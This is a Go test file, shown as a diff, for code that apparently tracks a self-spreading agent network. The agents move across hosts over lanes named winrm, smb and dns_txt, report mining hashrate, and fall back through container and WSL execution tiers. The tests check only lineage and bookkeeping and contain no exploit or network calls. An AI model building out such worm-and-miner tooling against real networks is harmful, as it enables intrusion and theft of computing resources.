"testing" + +func TestSpreadStrainFromJoinLaneStable(t *testing.T) { + a := SpreadStrainFromJoinLane("winrm") + b := SpreadStrainFromJoinLane("winrm") + if a != b || a == "" { + t.Fatalf("strain not stable: %q vs %q", a, b) + } + if SpreadStrainFromJoinLane("dns_txt") == a { + t.Fatal("different lanes should differ") + } +} + +func TestCollectSpreadTreeRootAndDescendants(t *testing.T) { + agents := []SpreadTreeAgent{ + {ID: "root", Name: "Root", SpreadGeneration: 0}, + {ID: "mid", Name: "Mid", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "winrm"}, + {ID: "leaf", Name: "Leaf", ParentAgentID: "mid", SpreadGeneration: 2, JoinLane: "dns_txt", Hashrate: 500}, + {ID: "other", Name: "Other", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "smb"}, + } + root, tree := CollectSpreadTree(agents, "leaf") + if root != "root" { + t.Fatalf("root = %q want root", root) + } + if len(tree) != 4 { + t.Fatalf("tree size = %d want 4", len(tree)) + } +} + +func TestBuildStrainCardFromWinningTree(t *testing.T) { + agents := []SpreadTreeAgent{ + {ID: "root", Name: "Root", IP: "10.0.1.10", SpreadGeneration: 0}, + {ID: "child", Name: "Child", ParentAgentID: "root", IP: "10.0.2.20", SpreadGeneration: 1, JoinLane: "dns_txt", Hashrate: 800}, + } + card := BuildStrainCard(BuildStrainCardInput{ + SourceAgentID: "child", + SourceAgentName: "Child", + SpreadLane: "dns_txt", + TierOrder: []string{"container", "wsl", "cpu_inprocess"}, + PeakHashrate: 800, + Attempts: []TierAttempt{ + {Tier: "docker", OK: false}, + {Tier: "container", OK: true}, + {Tier: "wsl", OK: true}, + }, + TreeAgents: agents, + ParentLanes: []string{"winrm"}, + }) + if card.RootAgentID != "root" || card.TreeSize != 2 { + t.Fatalf("card root/tree: %+v", card) + } + if len(card.Wins) != 2 || len(card.Losses) != 1 { + t.Fatalf("wins/losses = %v / %v", card.Wins, card.Losses) + } + if card.Persona != "persuasive" { + t.Fatalf("persona = %q", card.Persona) + } + if len(card.Subnets) != 2 { + t.Fatalf("subnets = %v", card.Subnets) + } + if card.ErasureRecoveryRate != 1 { + t.Fatalf("erasure rate = %v want 1", card.ErasureRecoveryRate) + } + if card.SpreadStrain != SpreadStrainFromJoinLane("dns_txt") { + t.Fatalf("strain = %q", card.SpreadStrain) + } +} + +func TestTemperamentFromCardUsesTierOrder(t *testing.T) { + card := StrainCard{ + ID: "card-1", + Persona: "balanced", + TierOrder: []string{"container", "wsl"}, + } + temp := TemperamentFromCard(card) + if len(temp.TierOrder) != 2 || temp.TierOrder[0] != "container" { + t.Fatalf("temperament = %+v", temp) + } + if temp.Reasoning[0].Fact != "lineage_strain_card=card-1" { + t.Fatalf("reasoning = %+v", temp.Reasoning) + } +} + +func TestPersonaFromSpreadLane(t *testing.T) { + if PersonaFromSpreadLane("winrm") != "aggressive" { + t.Fatal("winrm should map aggressive") + } + if PersonaFromSpreadLane("dns_txt") != "persuasive" { + t.Fatal("dns_txt should map persuasive") + } +}